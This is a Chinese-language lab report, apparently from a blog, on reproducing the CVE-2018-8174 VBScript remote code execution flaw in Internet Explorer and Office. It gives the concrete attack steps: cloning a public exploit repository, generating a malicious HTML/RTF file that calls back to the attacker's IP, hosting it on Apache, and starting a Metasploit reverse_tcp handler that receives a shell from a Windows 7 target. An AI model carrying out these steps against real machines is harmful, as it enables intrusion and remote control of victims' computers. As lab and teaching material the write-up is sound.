当前位置: 首页 > news >正文

CVE-2018-8174漏洞复现实验报告

一、该漏洞的相关背景

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

二、漏洞触发的核心背景原因

在当时的Win生态中,VBScript被广泛应用于网页脚本解析与部分企业环境中,而当时IE浏览器作为系统默认组件,其所带脚本引擎具有较高权限,一旦被利用,攻击者可在当前用户权限下执行任意代码。

三、漏洞影响的范围

CVE-2018-8174影响范围较广,主要存在于以下系统版本:

1.Windows7 / 8.1 10以及Windows Server系列

2.使用IE内核应用程序

在未打补丁的系统中,用户仅仅访问恶意页面即可触发漏洞,并无需额外交互。

四、实验过程(建议提前关闭靶机的防火墙)

利用CVE-2018-8174漏洞获取靶机权限

准备:kali攻击机、win7靶机(实验开始前确保双机可以ping通)

1.获取攻击所用的EXP

方法一:直接进行git

git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

方法二:下载到本地进行解压再复制到kali(适用于kali无法进行git的情况)

cd CVE-2018-8174_EXP-master

cd /home/kali/Desktop/CVE-2018-8174_EXP-master/

2.生成恶意html与rtf文件

这里需要注意:该漏洞利用工具明确要求Python 2.x环境运行,使用Python 3.x会触发语法错误”这是一个关键点,明确利用工具的运行环境。否则会报错,如下:

正确的运行语句:

python2 CVE-2018-8174.py -u http://192.168.142.133/exploit.html -o exploit.rtf -i 192.168.142.133 -p 4444(IP地址为自己kali攻击机的地址)

3.将恶意html文件移动到网站根目录,并启动apach2服务

cp exploit.html /var/www/html

service apache2 start

新打开一个终端,生成MSF监听

msfconsole -x "use exploit/multi/handler;

set PAYLOAD Windows/shell/reverse_tcp;

set LHOST 192.168.142.133; set lport 4444;

run

在靶机win7上打开恶意链接:http://192.168.142.133/exploit.html

此时在kali接收到shell,可在meterpreter中管理shell(但非管理员权限)

4.至此结束初级权限渗透,后续进一步权限提升可结合其他手段

五、总结

通过本次实验,提升了我对漏洞利用流程(信息收集、利用构造、权限获取)的整体理解,也加深了对安全防护重要性的认识,例如及时更新补丁、禁用不必要组件(如VBScript)以及提高用户安全意识等。整体而言,本实验有效增强了我的实践能力和对Web与系统安全的综合理解也让我认识到真实攻击往往是“漏洞链”而非单一漏洞。

http://www.gsyq.cn/news/1425176.html

相关文章:

  • 从51到STM32:为什么我建议你先学标准库再碰HAL库(附江科协视频推荐)
  • 别再为找不到引导盘发愁了!手把手教你解决Dell服务器安装CentOS7时的‘dracut’报错
  • Java打印避坑指南:用PDFBox和AWT精准控制纸张与边距(附完整代码)
  • 微信如何创建群投票|西瓜评选零门槛靠谱教程 - 投票小程序
  • 群晖Docker跑OpenWrt旁路由,保姆级避坑指南(含macvlan网络配置详解)
  • 别再乱勾选MicroLIB了!STM32串口打印printf的两种配置方式详解(附避坑指南)
  • TVA 对 CV 的代际超越逻辑(9)
  • 从Fbank到WavLM:PyTorch声纹识别项目中的音频特征提取全攻略(附性能对比)
  • Unity UGUI Slider 从入门到精通:除了血条,还能做哪些酷炫的交互?
  • 保姆级教程:用Python+Open3D复现Removert算法,搞定动态SLAM点云预处理
  • Codesys电子凸轮实战:手把手教你用禾川PLC和SoftMotion库搭建飞剪程序
  • 别再死记硬背公式了!用Python的NumPy和Matplotlib,5分钟带你直观理解最小二乘法
  • 告别raspistill:在树莓派Bookworm系统上配置CSI摄像头并玩转libcamera命令
  • Unity手游开发避坑:90Hz安卓机锁45帧?手把手教你用Surface.setFrameRate强制60帧
  • 微信群有投票功能吗怎么弄|西瓜评选实操教程 - 投票小程序
  • 手把手教你写一个QQ音乐免费下载的油猴脚本(附完整源码与常见问题排查)
  • 别再截图了!Fluent PBM后处理数据导出到Origin的保姆级教程(含Number Density详解)
  • 别再死记硬背了!一张图搞懂CRC16的7种标准(CCITT、MODBUS、X25等)区别与应用场景
  • 呼市钢结构别墅怎么选?4大维度甄选本地口碑靠谱厂家,农村别墅自建房/景区房屋/农村自建别墅,钢结构别墅厂家有哪些 - 品牌推荐师
  • 从UI设计稿到代码:我是如何用微信小程序实现那个‘烦人’的刻度尺滑块需求的
  • 从毫米波雷达项目实战看TI CCS:如何为IWR6843AOP生成最终可烧录的bin文件?
  • 别再只抄Demo了!用Yjs + Quill + WebSocket从零搭建一个能上线的协同文档(含版本控制与用户光标)
  • 华为FusionCompute 8.0.0 ARM平台下,Kylin Server-10 SP1安装VMTools保姆级避坑指南
  • SAP MM采购订单实操:成本中心K类型从创建到发票校验的完整流程(含无物料号场景)
  • 从游戏到现实:拆解《Turing Complete》里的计数器与总线,理解CPU核心模块设计
  • 用Python复现MATLAB经典案例:手把手教你处理温度传感器数据与消除60Hz工频干扰
  • Senparc SDK vs OSS.Pay:.NET 6项目集成微信Native支付,我最终选了它(附详细对比)
  • 2026四川护墙板铝材技术标准与权威厂商选型推荐:成都工业铝材/成都工程门窗铝材/成都幕墙角码/优选指南 - 优质品牌商家
  • 面试官问‘每天抽10TB数据怎么办?’:一个真实ETL工程师的实战避坑指南
  • 别再只盯着WebSocket了:用Yjs的WebRTC模式5分钟搞定内网协同编辑(附Node.js服务端配置)